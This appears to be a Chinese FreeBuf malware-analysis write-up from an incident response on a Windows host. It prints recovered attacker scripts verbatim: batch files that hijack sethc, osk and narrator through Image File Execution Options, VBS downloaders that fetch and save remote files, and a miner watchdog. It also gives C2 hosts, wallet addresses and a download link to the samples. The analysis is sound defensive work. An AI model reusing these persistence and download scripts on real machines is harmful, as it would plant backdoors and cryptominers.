*本文作者:小司马WHY,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
0x1 事件概述
在一次应急响应中,无意发现来自不同地区和人员的攻击,两种留后门的方法,截然不同的操作,不同的技术手法。
0x2病毒的温床Fonts
fonts目录常被用于藏匿后门的最佳场所
由于不能直接使用资源管理器进行查看,所以我就选择在dos下打印目录结构进行查看。可以看到这个目录下,有各种各样的“非常规文件”
1.ini-6.ini文件的内容他们是:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe [7]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe [19]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe [7]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe [19]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe [7]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe [19]
然后我们继续看该目录下的其他文件
哦买噶的,这个老哥一定是个bat狂魔吧,为什么如此任性。
Aa.bat
>>cloud.inf echo.[Version]
>>cloud.inf echo.Signature = "$Chicago$"
>>cloud.inf echo.
>>cloud.inf echo.[Registry Keys]
>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe", 0, "O:BA"
secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.log
del cloud.*
del %0
Aaa.bat
>>cloud.inf echo.[Version]
>>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0
aodd.bat
takeown /f %SystemRoot%\system32\osk.exe /a
echo y|cacls %SystemRoot%\system32\osk.exe /g Administrators:f
echo y|cacls %SystemRoot%\system32\osk.exe /e /g Users:r
echo y|cacls %SystemRoot%\system32\osk.exe /e /g Administrators:r
echo y|cacls %SystemRoot%\system32\osk.exe /e /d SERVICE
echo Y|cacls %SystemRoot%\system32\osk.exe /e /d "network service"
echo y|cacls %SystemRoot%\system32\osk.exe /e /g system:r
%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\lsass.exe
call %systemroot%\Fonts\Aa.bat
%systemroot%\system32\regini 3.ini
%systemroot%\regedit /s %systemroot%\Fonts\lsass.reg
del %systemroot%\Fonts\lsass.reg
call %systemroot%\Fonts\Ss.bat
%systemroot%\system32\regini 4.ini
del 3.ini
del 4.ini
@del %sfxcmd%
@del "%0" >nul
aodi.bat
takeown /f %SystemRoot%\system32\sethc.exe /a
echo y|cacls %SystemRoot%\system32\sethc.exe /g Administrators:f
echo y|cacls %SystemRoot%\system32\sethc.exe /e /g Users:r
echo y|cacls %SystemRoot%\system32\sethc.exe /e /g Administrators:r
echo y|cacls %SystemRoot%\system32\sethc.exe /e /d SERVICE
echo Y|cacls %SystemRoot%\system32\sethc.exe /e /d "network service"
echo y|cacls %SystemRoot%\system32\sethc.exe /e /g system:r
@echo cd c\:
%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\smss.exe
call %systemroot%\Fonts\AS.bat
%systemroot%\system32\regini 1.ini
%systemroot%\regedit /s %systemroot%\Fonts\smss.reg
del %systemroot%\Fonts\smss.reg
call %systemroot%\Fonts\SY.bat
%systemroot%\system32\regini 2.ini
del 1.ini
del 2.ini
@del %sfxcmd%
@del "%0" >nul
AS.bat
>>cloud.inf echo.[Version]
>>cloud.inf echo.Signature = "$Chicago$"
>>cloud.inf echo.
>>cloud.inf echo.[Registry Keys]
>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, "O:BA"
secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.log
del cloud.*
del %0
sql.bat
takeown /f %SystemRoot%\system32\narrator.exe /a
echo y|cacls %SystemRoot%\system32\narrator.exe /g Administrators:f
echo y|cacls %SystemRoot%\system32\narrator.exe /e /g Users:r
echo y|cacls %SystemRoot%\system32\narrator.exe /e /g Administrators:r
echo y|cacls %SystemRoot%\system32\narrator.exe /e /d SERVICE
echo Y|cacls %SystemRoot%\system32\narrator.exe /e /d "network service"
echo y|cacls %SystemRoot%\system32\narrator.exe /e /g system:r
%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\sqlser.exe
call %systemroot%\Fonts\Aaa.bat
%systemroot%\system32\regini 5.ini
%systemroot%\regedit /s %systemroot%\Fonts\sqlser.reg
del %systemroot%\Fonts\sqlser.reg
call %systemroot%\Fonts\Sss.bat
%systemroot%\system32\regini 6.ini
del 5.ini
del 6.ini
@del %sfxcmd%
@del "%0" >nul
这些批处理都在对注册表进行操作
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
想必大家对这个注册表项应该不陌生,没错就是镜像劫持。
镜像劫持简单的说就是,当你打开程序A,运行的确实程序B。
那么上述的几个文件都劫持了那些程序:
第一个sethc.exe///这个是粘滞键的程序
第二个osk.exe///这个是屏幕键盘程序
第三个narrator.exe///这个是讲述人的程序
那就是说,他们留下的后门,其实有一点没太明白,镜像劫持通常debugger来实现的,应该长这样
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe]
"debugger"="c:\\windows\\system32\\calc.exe"
所以说
MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, "O:BA"
secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.log
del cloud.*
这个劫持的意思是通过编辑组策略导入cloud.inf到组策略中,然后删除相关记录和日志,转储文件,具体导入了什么组策略我也不太清楚啊
然后我们接找看三个注册表文件
lsass.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe]
"debugger"="C:\\Windows\\Fonts\\lsass.exe"
smss.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]
"debugger"="C:\\Windows\\Fonts\\smss.exe"
sqlser.reg
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe]
"debugger"="C:\\Windows\\Fonts\\sqlser.exe"
这三个文件是镜像劫持的正主没错,分别将osk.exe,sethc.exe,narrator.exe劫持到了fonts目录下的lsass.exe,smss.exe,sqlser.exe:
2018c59e591d04f149ffb075abc69e42 lsass.exe
df81d89ae883be710a3b98df8a1aecf0 smss.exe
df81d89ae883be710a3b98df8a1aecf0 sqlser.exe
三个文件均包含自解压脚本命令,不过令我奇怪的是这三个压缩文件都有密码,启动脚本都是启动任务管理器,匪夷所思。
然后该分析conhost.exe这个文件了,左侧为系统文件,右侧为该恶意文件:
不得不承认,这个文件还是想当具有迷惑性的,接下来是这个文件的行为分析阶段。
杀死任务管理器,杀死rundll32.exe,杀死autoruns.exe,杀死perfmon.exe,杀死procexp.exe,杀死processhacker.exe,修改Fonts目录的属性。
通过杀死安全研究软件,阻止对自身的分析。杀死rundll32.exe应该是杀死别的恶意软件。
停止服务ServiceSais;
然后删除该服务;
杀死进程KvMonXP.exe,(这玩意好像是江民杀毒的程序);
释放文件KvmonXP.exe;
执行KvmonXP.exe。
安装ServiceSais服务,执行KvmonXP.exe,传入参数(矿池,钱包地址)
矿池:max.dllhost.host:443
钱包:42SgGCdjazjddK45L9AQGyXwZPh7VRRPW47iWG18uvFdQ7sXMAHgnDd1e8pHdu68AHbSaYo2a7x6QCSRjGeM14oZ1RSLVRi
>设置服务的显示名
>设置服务描述
>启动服务
svchost.exe这个文件似乎在整个事件中起这不小的作用,接下来我们就看看这个文件的庐山真面目。
首先这个文件是启动项。
这个文件运行的时候会将自己释放到别的目录下,修改文件属性为系统文件,实现隐藏,重命名后,创建服务实现自启动。
连接mdzz2018.msns.cn的12596端口。
截至现在,Fonts目录下的文件勉强算是结束了。
0x3玩坏了的VBS
前面的样本中大量使用bat,可以说bat使用手法还算是娴熟,那么下边的样本让我对作者刮目相看。在ProgrameData目录下。
2.vbs
on error resume next
with wscript:if .arguments.count<2 then .quit:end if
set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp")
web.open "get",.arguments(0),0:web.send:if web.status>200 then quit
aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with
lang.vbs
on error resume next
with wscript:if .arguments.count<2 then .quit:end if
set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp")
web.open "get",.arguments(0),0:web.send:if web.status>200 then quit
aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with
tao.vbs
option Explicit
dim wmi,proc,procs,proname,flag,WshShell
Do
proname="lass.exe"
set wmi=getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set procs=wmi.execquery("select * from win32_process")
flag=true
for each proc in procs
if strcomp(proc.name,proname)=0 then
flag=false
exit for
end if
next
set wmi=nothing
if flag then
Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.Run ("c:\ProgramData\lass.exe")
end if
wscript.sleep 1000 '检测间隔时间,这里是50秒
loop
vget.vbs
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
可以看到,tao.vbs在不停的循环判断,然后执行lass.exe。
接下来分析一下lass.exe的行为。
释放文件config.json:
"url": "pool.minexmr.com:7777",
"user": "47CMTqxiPTeZB5dn8DgkPR8ufUA5sbWm1awAAGzAqEcvUzLE7VZZ5eQ1v5ndDyHzYibs6bwa24V2uFaFKLWQW8Wa9nHfU37",
然后随手查了一下这个矿工:
释放可执行文件并执行:
创建开机启动项:
紧接着我们分析它释放的chromes.exe这个文件。
我用沙箱跑了一下,没有发现任何行为,还有壳,不过这个应该是挖矿的主进程,lass是加载器,tao.vbs是守护进程,lass释放配置文件和挖矿主程序进行挖矿:
那么这个目录下的a1.exe,a2.exe,taskger.exe又是做什么的呢?
a1.exe
a1.exe是一个提权的exp,MS16-032
那么a2.exe呢?
taskger.exe
设置自启动,连接到103.248.220.221:8721
0x4无处安放
除了上述的恶意文件之外,还有一些,我觉得似乎和他们不是一伙的。 从矿池地址可以看出来。
在Fonts目录下比较喜欢使用bat,另外就是有签名,虽然签名不怎么样
在ProgrameData目录下的比较擅长使用vbs,但是文件没有签名,虽然没有签名,却加壳了
剩下的都是零零散散的文件,也不太确定属于哪个系列。
没错,你没有看错这个就是360会员中心,这个文件看上去似乎是用来读密码的,但是我在我的win7试了,好像不行,难道是权限不足?大家可以研究一下。
win64.exe是一个挖矿程序,下图是win64的静态分析,因为确实必要的文件,所以没法动态分析。
0x5样本资源
以上所讲到的所有的样本我都上传到了一个云盘,方便大家下载研究。
链接:https://pan.baidu.com/s/1TCmYGguB0aE9J3IIxTBAnQ
提取码:oaqr
0x6总结
这台主机似乎被许多人同时光顾,其中使用vbs的哪个大哥应该是国人,频繁使用UPX壳,因为在tao.vbs脚本中,出现了中文,以及两个提权exp,ms16-032,cve-2018-8120
反观使用bat的大哥,镜像劫持,调整组策略,伪装签名,反杀毒软件,反调试,注册系统服务,使用wim持久化。
还有一些零散的文件,360安全中心,win64.exe,应该也是国人留下的吧,比较接地气。
*本文作者:小司马WHY,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。